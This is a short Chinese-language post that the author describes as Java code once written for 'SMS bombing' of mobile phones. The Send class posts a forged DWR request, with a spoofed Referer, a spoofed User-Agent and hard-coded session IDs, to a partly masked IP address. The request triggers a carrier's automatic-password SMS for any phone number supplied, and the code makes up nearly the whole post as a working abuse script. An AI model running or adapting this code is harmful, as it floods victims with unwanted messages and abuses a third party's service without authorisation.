Java 模擬POST提交數據,這是當時寫的一個手機短信轟炸的代碼。
package com.java.moblie;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;
public class Send {
public String sendMessage(String Moblie){
String url = "http://221.179.9.XX:8080/bpss/dwr/call/plaincall/PasswordService.applyAutoPassword.dwr";
String postData = "callCount=1\r\npage=/bpss/index.jsp\r\nhttpSessionId=60769A616C7132CB8BD8023AC05D214D\r\nscriptSessionId=4BCCB2CA5F312A17EBA6788BCA6D4807661\r\nc0-scriptName=PasswordService\r\nc0-methodName=applyAutoPassword\r\nc0-id=0\r\nc0-param0=string:"+Moblie+"\r\nbatchId=3";
try {
URL serverUrl = new URL(url);
HttpURLConnection conn = (HttpURLConnection) serverUrl.openConnection();
conn.setConnectTimeout(20000);
conn.setRequestMethod("POST");
conn.addRequestProperty("Referer","http://221.179.9.XX:8080/bpss/index.jsp#");
conn.addRequestProperty("Accept", "*/*");
conn.addRequestProperty("Accept-Language", "zh-cn");
conn.addRequestProperty("Content-type", "text/plain");
conn.addRequestProperty("User-Agent","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)");
//conn.addRequestProperty("Cookie", "JSESSIONID=60769A616C7132CB8BD8023AC05D214D;");
conn.setDoOutput(true);
conn.connect();
conn.getOutputStream().write(postData.getBytes());
InputStream ins = conn.getInputStream();
String charset = "gbk";
InputStreamReader inr = new InputStreamReader(ins, charset);
BufferedReader br = new BufferedReader(inr);
String line = "";
StringBuffer sb = new StringBuffer();
do{
sb.append(line);
line = br.readLine();
}while(line != null);
return sb.toString();
} catch (MalformedURLException e) {
e.printStackTrace();
return null;
} catch (ProtocolException e) {
e.printStackTrace();
return null;
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}